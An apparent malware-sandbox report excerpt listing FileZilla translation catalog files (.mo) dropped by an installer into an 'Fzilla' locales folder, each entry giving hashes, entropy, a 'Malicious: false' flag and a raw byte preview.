Preview:	................L.......\|.......\|.......}...........0.......................................!.......=...........,.......L....Network unreachable.Remote certificate not trusted..Server did not properly shut down TLS connection.Unsupported certificate type.unknown.Project-Id-Version: Filezilla en occitan.Report-Msgid-Bugs-To: https://trac.filezilla-project.org/.PO-Revision-Date: .Last-Translator: T.ni Galhard <tony.gaillard@supinfo.com>.Language-Team: T.ni Galhard <tony.gaillard@supinfo.com>.Language: oc.MIME-Version: 1.0.Content-Type: text/plain; charset=UTF-8.Content-Transfer-Encoding: 8bit.Plural-Forms: nplurals=2; plural=(n > 1);.X-Poedit-Language: occitan.X-Poedit-Country: Occit.nia..Ret inaccessible.Certificat alunhat sens fisan.a..Lo servidor a pas tampat la connexion TLS d'un biais corr.ct.Tipe de certificat pas suportat.desconegut.

C:\Program Files (x86)\Fzilla\locales\oc\is-U8VRV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1094 messages, Project-Id-Version: Filezilla en occitan '%H:%M:%S passada(s)'
Category:	dropped
Size (bytes):	87025
Entropy (8bit):	5.165547828090658
Encrypted:	false
SSDEEP:	1536:FXqZ8LQlP6YcngPCxmm7Mr75ZhrxJl3oFIzfZunVCXjIGLI90ckntTHtWFVQR22R:BqdlP6YvPCxmm7C3xoFIzZunVCXMGZnt
MD5:	C03D3C497E35E82DE89B11A17709C8C8
SHA1:	8E000D40E4382E21E32B00E66F64570FFDA08058
SHA-256:	A08A50077330FA0A9C38CDA5E99B0FA67E5132EC59C741AEE4D182AA6857DA7A
SHA-512:	09071044973F63D2179867CA98EB6AFAD89EB33513112FACF25204CB54CA6F3A6C9C841B8C05C38E56E3BFCE84A89F6863FCD3EBD65DFAFF968F29797D8E8CB3
Malicious:	false
Preview:	........F.......L"......\|D......\|D......}D.......D..S....D.......D.......E..0....E..B...NE.......E.......E.......E.......E.."....E.......E.......F.......F......%F......9F......CF......MF......UF......fF......zF..2....F.......F.......F..6....F......%G......+G......7G..;...?G......{G.......G.......G.......G.......G.......G..+....G.......H.......H......%H.."...,H......OH......`H..%....H.......H.......H.......H..4....H.......I.......I......+I..4...JI.......I.......I.......I.......I.......I.......I.......I.......I.......I.......I.......J...... J......=J......HJ......bJ......hJ......\|J.......J.......J.......J.......J..%....J..1....J..0....K......MK......^K......oK.......K.......K.......K.......K.......K.......K.......L......"L..$...-L..$...RL..)...wL.......L.......L.......L.......L.......L.......L.......M......$M......@M......MM.. ..._M.......M.......M.......M.......M.......M.......M.......M.......M.......M.......M.......M.......M.......M.......M.......N..)....N......3N......:N......HN......

C:\Program Files (x86)\Fzilla\locales\oc\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 6 messages, Project-Id-Version: Filezilla en occitan 'Ret inaccessible'
Category:	dropped
Size (bytes):	855
Entropy (8bit):	5.163557715694271
Encrypted:	false
SSDEEP:	24:n4ApArSs80hLnI5TRqkt0qtyl5rW9XmG03Qh5y8Y:arSsjLI5V4qcvr74y8Y
MD5:	67747215DC2408178FE975B7CE166B30
SHA1:	66CF6DF8299DAE5DA03C3EB027DB27E8F9902F14
SHA-256:	719B14C0E3B74EDFD11A5D8DBA68D85935E5FF8E70287556FD810F0A871CF35B
SHA-512:	4F0A44AD98021F7BA3C10F75055683119CE8A6AC80C0006D2626099CA99269CCC791E6625741E8679BC2F0D17034E8E8CB3A3F3BC8D316A91BCF9FF0B9EEC498
Malicious:	false
Preview:	................L.......\|.......\|.......}...........0.......................................!.......=...........,.......L....Network unreachable.Remote certificate not trusted..Server did not properly shut down TLS connection.Unsupported certificate type.unknown.Project-Id-Version: Filezilla en occitan.Report-Msgid-Bugs-To: https://trac.filezilla-project.org/.PO-Revision-Date: .Last-Translator: T.ni Galhard <tony.gaillard@supinfo.com>.Language-Team: T.ni Galhard <tony.gaillard@supinfo.com>.Language: oc.MIME-Version: 1.0.Content-Type: text/plain; charset=UTF-8.Content-Transfer-Encoding: 8bit.Plural-Forms: nplurals=2; plural=(n > 1);.X-Poedit-Language: occitan.X-Poedit-Country: Occit.nia..Ret inaccessible.Certificat alunhat sens fisan.a..Lo servidor a pas tampat la connexion TLS d'un biais corr.ct.Tipe de certificat pas suportat.desconegut.

C:\Program Files (x86)\Fzilla\locales\pl_PL\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1787 messages, Project-Id-Version: FileZilla '%H:%M:%S up\305\202yn\304\231\305\202o'
Category:	dropped
Size (bytes):	172988
Entropy (8bit):	5.389385684433894
Encrypted:	false
SSDEEP:	3072:vBLRSqa0GAmBwE9oFOvTcuuyw7nrTzDrB0qNL4J:pLfanjwOoFOvTcdBrTzBXw
MD5:	F1C9A9442056221D06948586F3487494
SHA1:	062F8DB51ACB2C156FC921A6A3C7500D93742ED4
SHA-256:	22E449754FD8025E8ECD42997BCB373B082F0C798C325FA1D58FB3F6C94B2D79
SHA-512:	A12CE8FC2990C3D41BFB8D6B40B8A5984F4B703CE7A7E8128B6BFE336B4E7ECCCBB49EF88C5F3831B6F4CF7B4CCF9C8020F1D19A61C3475C33007479C241F943
Malicious:	false
Preview:	.................7.......o.......o.......o.......o..S....o......@p..A...\p.......p..0....p..B....p......#q......8q......Bq......bq......wq.......q.......q.......q.......q.."....q.......q.......q.......r..+....r.......s......*s......>s..5...Qs.......s.......s.......s.......s.......s.......s.......s.......s.......s.......t.......t..0...6t..2...gt..2....t.......t..0....t.......u..6...1u......hu......nu......zu.......u..;....u.......u.......u.......u.......u.......v.......v....../v......6v......Gv......]v......xv.......v..+....v.......v.......v.......v.......v.."....v.......w......+w..%...Jw......pw......xw.......w.. ....w.......w..H....w..I....x..4...]x.......x..:....x.......x.......x..4....y..$...Dy......iy.......y.......y.......y.......y.......y.......y.......y.......y.......y.......y.......z.......z......)z......Bz......Kz......hz......sz.......z.......z.......z.......z.......z.......z.......z.......z.......z..%....{..O....{..R...~{..1....{..0....\|......4\|......E\|......V\|......u\|......

C:\Program Files (x86)\Fzilla\locales\pl_PL\is-HA5VP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 77 messages, Project-Id-Version: FileZilla 3.x 'Certyfikat w \305\202a\305\204cuchu zosta\305\202 podpisany przy u\305\274yciu niezabezpieczonego algorytmu'
Category:	dropped
Size (bytes):	7810
Entropy (8bit):	5.257568702090042
Encrypted:	false
SSDEEP:	192:dclYeGiSZpJqe790vMm3dmDCGBpk1C/69GJnYcdjkNsx:EYeG/vB9EmDCG81Ojtkg
MD5:	EBBEAB96D8AA3EBFCFF2942BF786C1A5
SHA1:	CF13F076B67FB1FAD835EC84FFB4BD5F2FBA3D94
SHA-256:	62E417EC1C6523A1534C7909CBC12153E3A544F81F6C7FC9A4858651CA578DB6
SHA-512:	778AE71C9C99FF06F54A30D95FE3DD999A4DD0D551EA0DB6FED89451EB735ABF90DE3662C6C3E03990C8453751D69D27B59BE3A8D99C084265A1EAB17EF45CE8
Malicious:	false
Preview:	........M...........................A.......A.../.......q...........$...............>.......)...".......L......._.......\|...................1...............X.......R...t... .......!...................'.......7.......M.......g.......{...............................................................<.......V...4...h...P...............#...........&...)...7...(...a...............................................................%...+...<...+...h...L.......-.................../... ...L...0...m...M.......$..........................D...,...Y...#.......%.......$.......%.......'.......n...C...?.......7.......-......1...X...........5...............@.......S...&...@...z...................).......).......C...G...(...............-.......$.......$.......!...D...;...f...!.......\.......V...!...1...x...8...................................#.......=.......R.......h.......}...#.......%.......'...............)...&.......P.......k...?.......X...............3...-.......a...2...u...............................

C:\Program Files (x86)\Fzilla\locales\pl_PL\is-PK1FQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1787 messages, Project-Id-Version: FileZilla '%H:%M:%S up\305\202yn\304\231\305\202o'
Category:	dropped
Size (bytes):	172988
Entropy (8bit):	5.389385684433894
Encrypted:	false
SSDEEP:	3072:vBLRSqa0GAmBwE9oFOvTcuuyw7nrTzDrB0qNL4J:pLfanjwOoFOvTcdBrTzBXw
MD5:	F1C9A9442056221D06948586F3487494
SHA1:	062F8DB51ACB2C156FC921A6A3C7500D93742ED4
SHA-256:	22E449754FD8025E8ECD42997BCB373B082F0C798C325FA1D58FB3F6C94B2D79
SHA-512:	A12CE8FC2990C3D41BFB8D6B40B8A5984F4B703CE7A7E8128B6BFE336B4E7ECCCBB49EF88C5F3831B6F4CF7B4CCF9C8020F1D19A61C3475C33007479C241F943
Malicious:	false
Preview:	.................7.......o.......o.......o.......o..S....o......@p..A...\p.......p..0....p..B....p......#q......8q......Bq......bq......wq.......q.......q.......q.......q.."....q.......q.......q.......r..+....r.......s......*s......>s..5...Qs.......s.......s.......s.......s.......s.......s.......s.......s.......s.......t.......t..0...6t..2...gt..2....t.......t..0....t.......u..6...1u......hu......nu......zu.......u..;....u.......u.......u.......u.......u.......v.......v....../v......6v......Gv......]v......xv.......v..+....v.......v.......v.......v.......v.."....v.......w......+w..%...Jw......pw......xw.......w.. ....w.......w..H....w..I....x..4...]x.......x..:....x.......x.......x..4....y..$...Dy......iy.......y.......y.......y.......y.......y.......y.......y.......y.......y.......y.......z.......z......)z......Bz......Kz......hz......sz.......z.......z.......z.......z.......z.......z.......z.......z.......z..%....{..O....{..R...~{..1....{..0....\|......4\|......E\|......V\|......u\|......

C:\Program Files (x86)\Fzilla\locales\pl_PL\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 77 messages, Project-Id-Version: FileZilla 3.x 'Certyfikat w \305\202a\305\204cuchu zosta\305\202 podpisany przy u\305\274yciu niezabezpieczonego algorytmu'
Category:	dropped
Size (bytes):	7810
Entropy (8bit):	5.257568702090042
Encrypted:	false
SSDEEP:	192:dclYeGiSZpJqe790vMm3dmDCGBpk1C/69GJnYcdjkNsx:EYeG/vB9EmDCG81Ojtkg
MD5:	EBBEAB96D8AA3EBFCFF2942BF786C1A5
SHA1:	CF13F076B67FB1FAD835EC84FFB4BD5F2FBA3D94
SHA-256:	62E417EC1C6523A1534C7909CBC12153E3A544F81F6C7FC9A4858651CA578DB6
SHA-512:	778AE71C9C99FF06F54A30D95FE3DD999A4DD0D551EA0DB6FED89451EB735ABF90DE3662C6C3E03990C8453751D69D27B59BE3A8D99C084265A1EAB17EF45CE8
Malicious:	false
Preview:	........M...........................A.......A.../.......q...........$...............>.......)...".......L......._.......\|...................1...............X.......R...t... .......!...................'.......7.......M.......g.......{...............................................................<.......V...4...h...P...............#...........&...)...7...(...a...............................................................%...+...<...+...h...L.......-.................../... ...L...0...m...M.......$..........................D...,...Y...#.......%.......$.......%.......'.......n...C...?.......7.......-......1...X...........5...............@.......S...&...@...z...................).......).......C...G...(...............-.......$.......$.......!...D...;...f...!.......\.......V...!...1...x...8...................................#.......=.......R.......h.......}...#.......%.......'...............)...&.......P.......k...?.......X...............3...-.......a...2...u...............................

C:\Program Files (x86)\Fzilla\locales\pt_BR\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1710 messages, Project-Id-Version: FileZilla 3 '%H:%M:%S decorridos'
Category:	dropped
Size (bytes):	166533
Entropy (8bit):	5.162185469776971
Encrypted:	false
SSDEEP:	3072:4t5r6bei9mHSsnmmG+D96FhbTeWirwRVkXiFntLJ1f6F:4br6bSu+J6FhbTe/SVkXiFn8
MD5:	6F15813F43B1F11C09F9C6131825BCB2
SHA1:	283B1AB3561D5B8B7FDBB00A8856BBA46AB31531
SHA-256:	768D355AECAD926CAC97CA263DAC8724E034A92508116F197833D11DCC886C13
SHA-512:	D2913F0B7E3E8A8668DD997C5F2D19FAF95B8BDFCE166F77176DF79769DE5364F046228653639B0BA1AE5198D7DAD785FCC4BD1ABE285984219B41E17E5D2840
Malicious:	false
Preview:	.................5.......j.......j.......j.......k..S....k......pk..A....k.......k..0....k..B....l......Sl......hl......rl.......l.......l.......l.......l.......l.......l.."....l.......m......(m.......n..+... n......Ln......Zn......nn..5....n.......n.......n.......n.......n.......n.......n.......o.......o......'o......8o......Fo..0...fo..2....o.......o.......o..6....o......4p......:p......Fp......Yp..;...ap.......p.......p.......p.......p.......p.......p.......p.......q......%q......3q..+...<q......hq......{q.......q.......q.."....q.......q.......q..%....q.......r......%r.. ...5r......Vr..H...lr..I....r..4....r......4s..:...@s......{s.......s..4....s.......s.......t.......t.......t......*t......6t......<t......Rt......Zt......nt.......t.......t.......t.......t.......t.......t.......t.......t.......u.......u.......u......5u......Iu......Wu......`u..%...ju..O....u..R....u..1...3v..0...ev.......v.......v.......v.......v.......v.......v.......v.......w.......w......Kw......kw......vw..2...

C:\Program Files (x86)\Fzilla\locales\pt_BR\is-8PIQT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1710 messages, Project-Id-Version: FileZilla 3 '%H:%M:%S decorridos'
Category:	dropped
Size (bytes):	166533
Entropy (8bit):	5.162185469776971
Encrypted:	false
SSDEEP:	3072:4t5r6bei9mHSsnmmG+D96FhbTeWirwRVkXiFntLJ1f6F:4br6bSu+J6FhbTe/SVkXiFn8
MD5:	6F15813F43B1F11C09F9C6131825BCB2
SHA1:	283B1AB3561D5B8B7FDBB00A8856BBA46AB31531
SHA-256:	768D355AECAD926CAC97CA263DAC8724E034A92508116F197833D11DCC886C13
SHA-512:	D2913F0B7E3E8A8668DD997C5F2D19FAF95B8BDFCE166F77176DF79769DE5364F046228653639B0BA1AE5198D7DAD785FCC4BD1ABE285984219B41E17E5D2840
Malicious:	false
Preview:	.................5.......j.......j.......j.......k..S....k......pk..A....k.......k..0....k..B....l......Sl......hl......rl.......l.......l.......l.......l.......l.......l.."....l.......m......(m.......n..+... n......Ln......Zn......nn..5....n.......n.......n.......n.......n.......n.......n.......o.......o......'o......8o......Fo..0...fo..2....o.......o.......o..6....o......4p......:p......Fp......Yp..;...ap.......p.......p.......p.......p.......p.......p.......p.......q......%q......3q..+...<q......hq......{q.......q.......q.."....q.......q.......q..%....q.......r......%r.. ...5r......Vr..H...lr..I....r..4....r......4s..:...@s......{s.......s..4....s.......s.......t.......t.......t......*t......6t......<t......Rt......Zt......nt.......t.......t.......t.......t.......t.......t.......t.......t.......u.......u.......u......5u......Iu......Wu......`u..%...ju..O....u..R....u..1...3v..0...ev.......v.......v.......v.......v.......v.......v.......v.......w.......w......Kw......kw......vw..2...

C:\Program Files (x86)\Fzilla\locales\pt_BR\is-OTAQM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 65 messages, Project-Id-Version: FileZilla 3 'Argumento de buffer overflow'
Category:	dropped
Size (bytes):	6028
Entropy (8bit):	5.089027281636174
Encrypted:	false
SSDEEP:	96:Lf6miVHHCSVQk01Jqe790vMmO87kqGu537LIREFXHI/e//5f1GDHbcgNQ9QCe:Lf6VHHCSMJqe790vMmdF9PTFXHGCJ1Gb
MD5:	A4930D67E9AD80BF2350C87AA286D52B
SHA1:	B0554862C02797E7DED872A397912BD4FBD7DA8B
SHA-256:	4941885C4013C03FE74FFDA0E5BB3E2B382F5B10C929A7E05752137FBAA1C438
SHA-512:	03B861F2270FE16B6B45C2354106F731870A3714091EDE5AE7BB1ABF98C1DCCECFCDFA8A769788972C8CBDBCAD24DE25E38BAA0BC45F9256F017927A46C1F3F7
Malicious:	false
Preview:	........A.......$.......,.......,.......-.......F...$...Z...................................................X...!...R...z...!...................................2.......L.......`.......m...........................................................4.......P...c...........#...............).......(...'.......P.......n...................................................+.......+.......-...Z................... .......0.......$...........<.......U.......o...,.......#.......%.......$.......%... ...'...F...7...n...-.......1...............5...#.......Y.......a.......>.......[...%...z...2...............'...........................L...p...`...i...........;...&...j...............................................................+.......I.......d.......{...................6.......1...........7...'...I.......q...........-...................................1.......G.......T...)...f...........:.......(.......8.......+...H... ...t...$.......1.......0...................2.......G...:...]...........$.......(...

C:\Program Files (x86)\Fzilla\locales\pt_BR\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 65 messages, Project-Id-Version: FileZilla 3 'Argumento de buffer overflow'
Category:	dropped
Size (bytes):	6028
Entropy (8bit):	5.089027281636174
Encrypted:	false
SSDEEP:	96:Lf6miVHHCSVQk01Jqe790vMmO87kqGu537LIREFXHI/e//5f1GDHbcgNQ9QCe:Lf6VHHCSMJqe790vMmdF9PTFXHGCJ1Gb
MD5:	A4930D67E9AD80BF2350C87AA286D52B
SHA1:	B0554862C02797E7DED872A397912BD4FBD7DA8B
SHA-256:	4941885C4013C03FE74FFDA0E5BB3E2B382F5B10C929A7E05752137FBAA1C438
SHA-512:	03B861F2270FE16B6B45C2354106F731870A3714091EDE5AE7BB1ABF98C1DCCECFCDFA8A769788972C8CBDBCAD24DE25E38BAA0BC45F9256F017927A46C1F3F7
Malicious:	false
Preview:	........A.......$.......,.......,.......-.......F...$...Z...................................................X...!...R...z...!...................................2.......L.......`.......m...........................................................4.......P...c...........#...............).......(...'.......P.......n...................................................+.......+.......-...Z................... .......0.......$...........<.......U.......o...,.......#.......%.......$.......%... ...'...F...7...n...-.......1...............5...#.......Y.......a.......>.......[...%...z...2...............'...........................L...p...`...i...........;...&...j...............................................................+.......I.......d.......{...................6.......1...........7...'...I.......q...........-...................................1.......G.......T...)...f...........:.......(.......8.......+...H... ...t...$.......1.......0...................2.......G...:...]...........$.......(...

C:\Program Files (x86)\Fzilla\locales\pt_PT\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1539 messages, Project-Id-Version: FileZilla 3 pt '%H:%M:%S decorrido'
Category:	dropped
Size (bytes):	149620
Entropy (8bit):	5.139808226790429
Encrypted:	false
SSDEEP:	3072:sdk00gGklm9uhd930MT6auss3l6qLeZHbMgqA:sd6gmuf930MT6Zv3l61
MD5:	A7B079CB9136BDBACC5824EC7BAC11F3
SHA1:	07D9682218D5A77AB8711AFAA35FE6D383C79BB7
SHA-256:	D537CB32256FC953BB147B3A95CA4B8B702F28B137B5E53DC93E207FDC5CE895
SHA-512:	472118DCA296BB316B00383200EDB7DFCF9A035509CD94DACCE16D9D0B8355BEA5C9DDF13887737023EBFFFEE418A746F06DA2CE73567B70F458F294B9D80581
Malicious:	false
Preview:	................40......L`......L`......M`......^`..S...l`.......`..A....`.......a..0.../a..B...`a.......a.......a.......a.......a.......a.......b.......b.......b......*b.."...Db......gb......xb.......b.......b..5....b.......b.......b.......b.......b.......c......!c......2c..2...@c......sc.......c..6....c.......c.......c.......c.......d..;....d......Fd......Qd......\d......nd.......d.......d.......d.......d.......d..+....d.......d.......e...... e......0e.."...7e......Ze......ke..%....e.......e.......e.......e..H....e..I...'f..4...qf.......f..:....f.......f.......g..4...#g......Xg......wg.......g.......g.......g.......g.......g.......g.......g.......g.......g.......h.......h......&h....../h......Lh......Wh......qh......wh.......h.......h.......h.......h.......h..%....h..O....h..R...Ii..1....i..0....i.......i.......j......!j......@j......Fj......\j......ej......~j.......j.......j.......j.......j..2....j..3...'k......[k..$...fk..$....k..)....k.......k.......k.......l.......l.......l......

C:\Program Files (x86)\Fzilla\locales\pt_PT\is-1KLAD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 74 messages, Project-Id-Version: FileZilla 3 pt 'Um certificado na cadeia foi assinado com um algor\303\255tmo inseguro'
Category:	dropped
Size (bytes):	7318
Entropy (8bit):	5.04659601916853
Encrypted:	false
SSDEEP:	192:AMs7mlhpZGJqe790vMm3dANARJXMaXlUopoQhlIGuyuboPU4LXp:At7cpkB9EANEcaaFxmU4Dp
MD5:	C456FA1DECA8F79FCF54C8ACFFF26C79
SHA1:	485B766D4EEFAF01520301B79D7455DB3022F3AD
SHA-256:	526068AE2A7DE83F4CCD82F24B403C3D2C994EB1C2DF4A05FEF83F2F1716CEC0
SHA-512:	99873421C6A23506B73ED62957EB4AF3B0BBB5CD4FCB6EC8F8EB7B7DCE528E9B4EB9012B3F9BD72BF0F4D2BB1FE7528D81FECC3950AF79B9ED24AD6DD8BA6EBA
Malicious:	false
Preview:	........J.......l...................A.......A...........A.......Z...$...n...........)..........................................F...1..._...........X.......R....... ...X...!...y.............................................................../.......G.......b.......z...........................4.......P...........`...#...t...........).......(...........................0.......H.......[.......i.......{...........+.......+.......L.......-...S................... .......0.......M.......$...^...........................,.......#.......%.......$...B...%...g...'.......?.......7.......-...-...1...[...........5.......................@.......H...................:...%...W...#...}...3...............(....... ......."...3..."...V...M...y...'.......q.......j...a...3...............'.../.......W.......f.......{.......................................................2...'...K.......s...........H.......X...........O.......a...................3...................+.......C.......].......s......................

C:\Program Files (x86)\Fzilla\locales\pt_PT\is-321IU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1539 messages, Project-Id-Version: FileZilla 3 pt '%H:%M:%S decorrido'
Category:	dropped
Size (bytes):	149620
Entropy (8bit):	5.139808226790429
Encrypted:	false
SSDEEP:	3072:sdk00gGklm9uhd930MT6auss3l6qLeZHbMgqA:sd6gmuf930MT6Zv3l61
MD5:	A7B079CB9136BDBACC5824EC7BAC11F3
SHA1:	07D9682218D5A77AB8711AFAA35FE6D383C79BB7
SHA-256:	D537CB32256FC953BB147B3A95CA4B8B702F28B137B5E53DC93E207FDC5CE895
SHA-512:	472118DCA296BB316B00383200EDB7DFCF9A035509CD94DACCE16D9D0B8355BEA5C9DDF13887737023EBFFFEE418A746F06DA2CE73567B70F458F294B9D80581
Malicious:	false
Preview:	................40......L`......L`......M`......^`..S...l`.......`..A....`.......a..0.../a..B...`a.......a.......a.......a.......a.......a.......b.......b.......b......*b.."...Db......gb......xb.......b.......b..5....b.......b.......b.......b.......b.......c......!c......2c..2...@c......sc.......c..6....c.......c.......c.......c.......d..;....d......Fd......Qd......\d......nd.......d.......d.......d.......d.......d..+....d.......d.......e...... e......0e.."...7e......Ze......ke..%....e.......e.......e.......e..H....e..I...'f..4...qf.......f..:....f.......f.......g..4...#g......Xg......wg.......g.......g.......g.......g.......g.......g.......g.......g.......g.......h.......h......&h....../h......Lh......Wh......qh......wh.......h.......h.......h.......h.......h..%....h..O....h..R...Ii..1....i..0....i.......i.......j......!j......@j......Fj......\j......ej......~j.......j.......j.......j.......j..2....j..3...'k......[k..$...fk..$....k..)....k.......k.......k.......l.......l.......l......

C:\Program Files (x86)\Fzilla\locales\pt_PT\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 74 messages, Project-Id-Version: FileZilla 3 pt 'Um certificado na cadeia foi assinado com um algor\303\255tmo inseguro'
Category:	dropped
Size (bytes):	7318
Entropy (8bit):	5.04659601916853
Encrypted:	false
SSDEEP:	192:AMs7mlhpZGJqe790vMm3dANARJXMaXlUopoQhlIGuyuboPU4LXp:At7cpkB9EANEcaaFxmU4Dp
MD5:	C456FA1DECA8F79FCF54C8ACFFF26C79
SHA1:	485B766D4EEFAF01520301B79D7455DB3022F3AD
SHA-256:	526068AE2A7DE83F4CCD82F24B403C3D2C994EB1C2DF4A05FEF83F2F1716CEC0
SHA-512:	99873421C6A23506B73ED62957EB4AF3B0BBB5CD4FCB6EC8F8EB7B7DCE528E9B4EB9012B3F9BD72BF0F4D2BB1FE7528D81FECC3950AF79B9ED24AD6DD8BA6EBA
Malicious:	false
Preview:	........J.......l...................A.......A...........A.......Z...$...n...........)..........................................F...1..._...........X.......R....... ...X...!...y.............................................................../.......G.......b.......z...........................4.......P...........`...#...t...........).......(...........................0.......H.......[.......i.......{...........+.......+.......L.......-...S................... .......0.......M.......$...^...........................,.......#.......%.......$...B...%...g...'.......?.......7.......-...-...1...[...........5.......................@.......H...................:...%...W...#...}...3...............(....... ......."...3..."...V...M...y...'.......q.......j...a...3...............'.../.......W.......f.......{.......................................................2...'...K.......s...........H.......X...........O.......a...................3...................+.......C.......].......s......................

C:\Program Files (x86)\Fzilla\locales\ro_RO\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1588 messages, Project-Id-Version: Filezilla '%H:%M:%S trecut(e)'
Category:	dropped
Size (bytes):	128690
Entropy (8bit):	5.228935986587944
Encrypted:	false
SSDEEP:	1536:DTs3NTNeQdSSRaZnThmQ17U4m1kbFNFTTJjmrh3pu6HTUVwCXPA07GB8SOIf1RGp:DA9gQraZnVmQxbFPTTJYw6Hoq6DDfy/8
MD5:	968722136ECD137A27038B6672344302
SHA1:	EADED840643AB4853194E1AE231C2B924CBFA99A
SHA-256:	2A3972C55C8DCC837FF284F12E688AAD8CC20A8D6A8EBF39481CE816F27B59A1
SHA-512:	5460ABBB88270B7FCF058329457B2D7E643660163E800613B703936FA509ED33283A68921C94153DE9FAED110A97904A1A0FC6477B658F085A901AED3E26DDE5
Malicious:	false
Preview:	........4........1......\c......\c......]c......nc......\|c..A....c.......c..0....c..B....d......_d......td......~d.......d.......d.......d.......d.......d.......d.."....e......#e......4e..+...De......pe......~e.......e..5....e.......e.......e.......e.......f.......f.......f......%f......7f......Kf......\f......jf..0....f..2....f.......f..0....g......:g..6...Rg.......g.......g.......g.......g..;....g.......g.......g.......h.......h......1h......8h......Ih......_h......zh.......h..+....h.......h.......h.......h.......h.."....h.......i......-i..%...Li......ri......zi.......i.. ....i.......i..H....i..I....j..4..._j.......j..:....j.......j.......j..4....k......Fk......ek......ok......}k.......k.......k.......k.......k.......k.......k.......k.......k.......k.......l.......l......(l......El......Pl......jl......pl.......l.......l.......l.......l.......l.......l..%....l..1....l..0...-m......^m......om.......m.......m.......m.......m.......m.......m.......m.......n......3n......>n..2...Sn..3...

C:\Program Files (x86)\Fzilla\locales\ro_RO\is-DNG9N.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 11 messages, Project-Id-Version: Filezilla 'Aten\310\233ie! Certificatul a fost anulat'
Category:	dropped
Size (bytes):	1646
Entropy (8bit):	5.222022552859678
Encrypted:	false
SSDEEP:	48:tq8Q/Thq/TAzjL145iqclgF6ZCPOoGNb2C8:tMk0ju5iH1Znxb2C8
MD5:	243852DDD865013CB22D4A6A3410079F
SHA1:	A3817471720949DF0AC5A064EA1612695A6CA5BD
SHA-256:	88ADC555F6887263DEBEAC578F25681BF92237B3CA1DE21BB1C2FA5F20446546
SHA-512:	1C23C672BE5522FD724E0B3155829139E6D8BA2385BC00E36C5EEFE478C058F622AAD8989D2B09FD2F653701433167571F11749553D8F5812003B6D23F244CA4
Malicious:	false
Preview:	................t...................$.......X.......R...K...!.......................0...........%...5...B.......x...........$...\|...e.......Z.......0...b...........+.......3...............=...%.......c....Beware! Certificate has been revoked.Could not get distinguished name of certificate issuer, gnutls_x509_get_issuer_dn failed.Could not get distinguished name of certificate subject, gnutls_x509_get_dn failed.Failed to verify peer certificate.Network unreachable.Remote certificate not trusted..Server did not properly shut down TLS connection.Unsupported certificate type.gnutls_certificate_get_peers returned no certificates.unknown.Project-Id-Version: Filezilla.Report-Msgid-Bugs-To: https://trac.filezilla-project.org/.PO-Revision-Date: 2013-06-13 21:17+0200.Last-Translator: Alexandru Bogdan Munteanu <muntealb@gmail.com>.Language-Team: MunteAlb, Lauren.iu Anisie <muntealb@gmail.com>.Language: ro_RO.MIME-Version: 1.0.Content-Type: text/plain; charset=UTF-8.Content-Transfer-Encoding: 8bi

C:\Program Files (x86)\Fzilla\locales\ro_RO\is-PV9MT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1588 messages, Project-Id-Version: Filezilla '%H:%M:%S trecut(e)'
Category:	dropped
Size (bytes):	128690
Entropy (8bit):	5.228935986587944
Encrypted:	false
SSDEEP:	1536:DTs3NTNeQdSSRaZnThmQ17U4m1kbFNFTTJjmrh3pu6HTUVwCXPA07GB8SOIf1RGp:DA9gQraZnVmQxbFPTTJYw6Hoq6DDfy/8
MD5:	968722136ECD137A27038B6672344302
SHA1:	EADED840643AB4853194E1AE231C2B924CBFA99A
SHA-256:	2A3972C55C8DCC837FF284F12E688AAD8CC20A8D6A8EBF39481CE816F27B59A1
SHA-512:	5460ABBB88270B7FCF058329457B2D7E643660163E800613B703936FA509ED33283A68921C94153DE9FAED110A97904A1A0FC6477B658F085A901AED3E26DDE5
Malicious:	false
